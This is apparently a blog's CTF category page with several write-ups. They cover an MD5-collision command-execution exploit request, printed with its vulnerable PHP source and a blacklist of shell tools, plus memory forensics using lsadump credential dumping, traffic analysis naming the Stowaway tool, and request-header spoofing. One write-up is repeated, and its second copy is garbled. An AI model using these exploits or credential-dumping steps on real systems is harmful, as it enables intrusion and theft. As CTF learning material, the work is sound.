分类 CTF 下的文章

前言

学长出了道套娃题,花了点时间,没给源码就黑盒硬做。其实给了md5提示的,但没想到。

知识点

这道题难点主要是没给源代码,考点主要是:

* MD5 弱类型
* 代码审计

实践

  1. exp

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=cp%20/flag%20/var/www/html/flag HTTP/1.1
    Host: 127.0.0.1:20031
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 307
    Content-Type: application/x-www-form-urlencoded
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    注意手动改包时需要加上 Content-Type: application/x-www-form-urlencoded

    这样才能发POST数据

  2. 然后访问网站根目录下flag即可

  3. 当时拿到题就开始分析URL,img是一个将文件名hex转换后base64加密2次的结果,当时尝试直接修改内容为/flag取出内容,无果。尝试了各种方法,都不行,最后做出来时发现源码过滤写死了,先是把解码后的内容进行preg_replace,只保留了a-z,A-Z,1-9,.这些内容。

  4. 然后对第二个cmd进行测试,通过提示发现可能是考的md5弱类型,试了下,发现过滤了大部分使用函数,发现cp未过滤,通过将flag拷贝至网站根目录拿到flag。

  5. 拿到源码果不其然,img是写死了。

  6. 就硬套

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd']))
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi锝� no flag");
    } else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
    } else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    echo `$cmd`;
    } else {
    echo ("md5 is funny ~");
    }
    }
    ?>
    <html>
    <style>
    body{
    background:url(./bj.png) no-repeat center center;
    background-size:cover;
    background-attachment:fixed;
    background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>

前言

学长出了道套娃题,花了点时间,没给源码就黑盒硬做。其实给了md5提示的,但没想到。

知识点

这道题难点主要是没给源代码,考点主要是:

* MD5 弱类型
* 代码审计

实践

  1. exp

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=cp%20/flag%20/var/www/html/flag HTTP/1.1
    Host: 127.0.0.1:20031
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 307
    Content-Type: application/x-www-form-urlencoded
    
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
    

    注意手动改包时需要加上 Content-Type: application/x-www-form-urlencoded
    这样才能发POST数据

  2. 然后访问网站根目录下flag即可

  3. 当时拿到题就开始分析URL,img是一个将文件名hex转换后base64加密2次的结果,当时尝试直接修改内容为/flag取出内容,无果。尝试了各种方法,都不行,最后做出来时发现源码过滤写死了,先是把解码后的内容进行preg_replace,只保留了a-z,A-Z,1-9,. 这些内容。

  4. 然后对第二个cmd进行测试,通过提示发现可能是考的md5弱类型,试了下,发现过滤了大部分使用函数,发现cp未过滤,通过将flag拷贝至网站根目录拿到flag。

  5. 拿到源码果不其然,img是写死了。

  6. 就硬套

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi锝� no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)``_POST['a'] !== (string)``_POST['b'] && md5(``_POST['a']) === md5(``_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }
    
    ?>
    <html>
    <style>
      body{
       background:url(./bj.png)  no-repeat center center;
       background-size:cover;
       background-attachment:fixed;
       background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>
    

前言

陇剑杯 x
Misc杯 v

解题过程

  1. 签到
  2. JWT
  3. Webshell
  4. 日志分析
  5. 内存分析


    1. 分析镜像
    2. 直接lsadump拿密码
      vol.py -f Target.vmem --profile=Win7SP1x64 lsadump
    3. 放hex编辑器内
    4. flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}
    5. 然后搜索文件vol.py -f Target.vmem --profile=Win7SP1x64 filescan | grep picture
    6. 找到HUAWEI关键字,然后搜HUAWEI
      vol.py -f Target.vmem --profile=Win7SP1x64 filescan | grep HUAWEI
    7. 把exe文件dump下来,这里有两个,其中一个有问题,都试了下就可以了。

    8. 安装解压后,得到文件夹包。

    9. 网上找到一个解压华为备份包的脚本
      https://github.com/RealityNet/kobackupdec

    10. 然后跑一下脚本,在镜像文件下也有一个tips,把第一个的flag空格转为下划线。

    11. python3 W31C0M3_T0_THiS_34SY_F0R3NSiCX

      我这边已经跑过,所以不会出现代码debug行。

    12. 解压得到flag图片

  6. 简单日志分析

  7. SQL注入

  8. IOS


    1. 打开流量包后,搜索http,然后追踪流发现了这个ip与局域网ip的异常交流

    2. 然后黑客ip就是3.128.156.159
    3. GitHub项目名称为Stowaway
    4. 执行的密钥明文为hack4sec

先抓个包看看

发现当前服务器的版本为Apache/2.2.15 (CentOS),于是便去查了该版本的漏洞

然后通过分析源码发现可以直接查看文件目录

查看了这些目录中的内容并没有发现敏感文件,由于我是条懒狗,没有去利用另外的漏洞,查阅了别人的writeup发现在网页首页源码中就有敏感php文件

访问后发现需要添加请求头

添加第一个请求头 Referer

然后他报出需要“Syclover”浏览器


那我们就添加第二个请求头User-Agent

哪知道他又报出需要通过本地访问,这里我就卡了。

通过查阅文档发现可以添加X-Forwarded-For可以伪造本地访问

这这里添加第三个请求头X-Forworded-For

最后成功拿到flag

下面进行这道题的技术总结

  1. 考察了对敏感文件名和敏感字段名对查找
  2. 对HTTP请求头的了解
  3. Referer: 来源页面,访问该页面的前一个页面
  4. User-Agent:浏览器名称常见的如谷歌浏览器(Chrome),火狐浏览器(FireFox),Safari浏览器都有对应的浏览器请求头
  5. X-Forwarded-For:一个事实标准 ,用于标识某个通过超文本传输协议代理或负载均衡连接到某个网页服务器的客户端的原始互联网地址(Wiki百科 HTTP 头字段)